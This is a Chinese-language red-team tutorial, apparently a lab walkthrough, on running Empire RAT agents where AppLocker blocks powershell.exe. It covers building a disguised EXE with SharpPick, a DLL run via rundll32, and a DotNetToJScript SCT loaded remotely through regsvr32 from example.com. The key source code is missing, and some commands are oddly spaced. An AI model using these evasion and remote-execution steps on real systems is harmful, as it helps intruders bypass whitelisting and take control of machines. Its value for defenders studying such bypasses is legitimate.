在實戰中,Empire成為域滲透、后滲透階段一大利器,而Empire是一個Powershell RAT,所以PowerShell必須要能運行Empire中幾乎所有的啟動方法都依賴於使用PowerShell.exe的功能。但是如果在無法調用powershell.exe環境下(客戶端已經使用AppLocker阻止了Powershell.exe運行)利用empire就需要一些技巧和方法了。
powershell.exe進程只是為System.Management.Automation.dll的實現提供了一個DLL Host。而它的核心,實際上就是System.Management.Automation.dll,這也是PowerShell的真實身份。此外,還有其他本地Windows進程同樣也作為PowerShell的Host,比如powershell_ise.exe。
然而,我們也可以創建自己的進程來為System.Management.Automation.dll提供Host。目前已經有一些開源項目實現了這一點,例如
UnmanagedPowerShell,(https://github.com/leechristensen/UnmanagedPowerShell)、SharpPick(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/SharpPick)、PSAttack(https://github.com/jaredhaight/PSAttack)以及nps(https://github.com/Ben0xA/nps)。
當然,使用PowerShell的優勢之一在於,PowerShell.exe是經過微軟簽名的二進制文件,會被應用程序加入白名單,方便我們的使用。而自己創建的進程則不會被應用程序所信任,但是通過這樣的方式,可以在powershell.exe被禁用的情況下執行PowerShell。
環境: kali linux 192.168.190.141(攻擊機)
Windows 8 192.168.190.149 (靶機)
0x01 構建Empire.exe
用到的工具SharpPick (https://github.com/PowerShellEmpire/PowerTools)
用Visual Studio打開下載好的PowerPick項目,不過我用的是vs2012,2010/2012的好處在於,它帶有越來越難找到的舊的.NET庫。
首先,你需要混淆一些項目屬性。改變程序和程序集信息的名稱。可以通過菜單“項目-SharpPick 屬性”來做到。確保修改“輸出類型”為“Windows應用程序”,以便當你雙擊運行或者從CLI執行后,它能在后台運行。

點擊“程序集信息”按鈕,並修改屬性。

現在你還要將Program.cs中的代碼修改如下:


字符串“stager”只包含base64編碼的Empire啟動器的信息。比如我把empire生成powershell的base64作為傳遞給RunPS()函數的參數(需base64解碼后),該函數將PowerShell命令發送給System.Management.Automation,這里是PowerShell的魅力所在。將直接進入Windows核心。


現在在菜單中選擇“生成-生成解決方案”或者點擊“F6”。生成的二進制文件位於
PowerPick\bin\x86\Debug

你可能會遇到關於ReflectivePick不能生成的錯誤。你能選擇菜單“生成-配置管理器”,並從“項目上下文”中去除“ReflectivePick”。因為我們不需要它。

雙擊可執行文件來測試下二進制文件,或者在CLI中運行測試。在你啟動或執行后它應該是運行於后台的。


0x02 構建Empire.dll
https://github.com/johnjohnsp1/AllTheThings
就像EXE一樣,打開項目並改變這些屬性。在項目屬性中需要更改的其他重要事項是“輸出類型”,它需要更改為 “類庫”。你也應該將“啟動對象”設置為下拉菜單中的默認值(基於你的命名空間和類名稱)。

接下來,安裝Visual Studio的nuget包管理器。一旦安裝完成,你需要通過運行以下命令來獲取依賴關系“UnmanagedExports”:



接下來,打開“Program.cs”,並更改你的代碼看起來像下面這樣,除了幾個“using”語句未顯示,但大部分都包含在gist中:

如果出現這樣的顯示引用錯誤的情況,我們需要在項目里自己添加引用





再次去“構建 – >構建解決方案”或點擊“F6”,你應該在你的構建目錄中會生成一個LegitLibrary.dll(和上面一樣)。
通過運行以下步驟來測試新的DLL
rundll32.exe LegitLibrary.dll,EntryPoint
這應該會返回一個新的代理到你的EmpireC2。如果你查看Process Explorer,你將看到rundll32作為一個新的進程運行。

0x03構建Empire.sct
這種方式可能是最復雜的,因為它涉及到一些比較繁瑣的步驟。最終結果基本上是這樣的:將PowerShell轉換成.NET應用程序,將該.NET應用程序轉換為一個javascript文件中的base64編碼的二進制文件,然后將其填充到.SCT中。你可以使用regsvr32調用該腳本,該腳本可以執行在你的Web /文件服務器上存放的.SCT的JavaScript代碼。
我們的目標是Empire.exe有效載荷,但是要轉換為base64。項目選項應該與你為Empire.exe所做的相同,換句話說就是“Windows應用程序”。代碼有點不一樣,因為JavaScript需要一些公共方法來實現和執行我們的代碼。


解決方法:
需要添加引用NDesk.Options
下載地址:
解壓縮,工程-添加引用-瀏覽-NDesk.Options.dll
重新編譯

構建后,去目錄找到你生成的二進制,它應該是一個exe。
接下來,去下載DotNetToJScript 並在Visual Studio中打開該項目,將其.NET目標更改為“.NET 3.5”(或2.0)項目選項並編譯(構建)它。一旦構建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,並將它們放在與LegitScript.exe二進制文件相同的位置。
運行以下命令(-c是入口點,更改為你選擇的namespace.class):
. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe
這應該會輸出一個legalscript.js。DotNetToJScript輸出有其他幾種語言,包括用於嵌入Office文檔的VBA和VBScript,或者你可能需要的其他東西。
你可以通過運行以下步驟進行下一步的測試:
wscript.exe legalscript.js
執行后應該會在后台啟動一個新的代理工作站。它將作為進程監視器中的“wscript”運行。
如果你已經確認這正常的工作了,那么現在是把它包裝成一個.sct,所以我們可以用regsvr32.exe來調用它。
將legalscript.js的全部內容放入CDATA標簽。你可以使用以下方式獲取Empire中的XML格式:
(Empire:usestager windows / launcher_sct
設置無關緊要,但你可以將其設置為監聽器,並確保“OutFile”設置為null或“”空值,因為這將打印內容並進行屏幕顯示。如果你從Empire獲取內容,請從CDATA標簽中刪除所有內容,並將其替換為legalscript.js。

保存為2legit.sct並進行測試:
regsvr32 / s / n / u /i:2legit.sct scrobj.dll
這會再次返回一個新的代理。你可以將該.sct保存到你的網絡或文件服務器,並用“/i:https ://example.com/2legit.sct””遠程替換“/i:” 。這是一個AppLocker繞過方式,因為regsvr32.exe是Microsoft簽名的二進制文件。
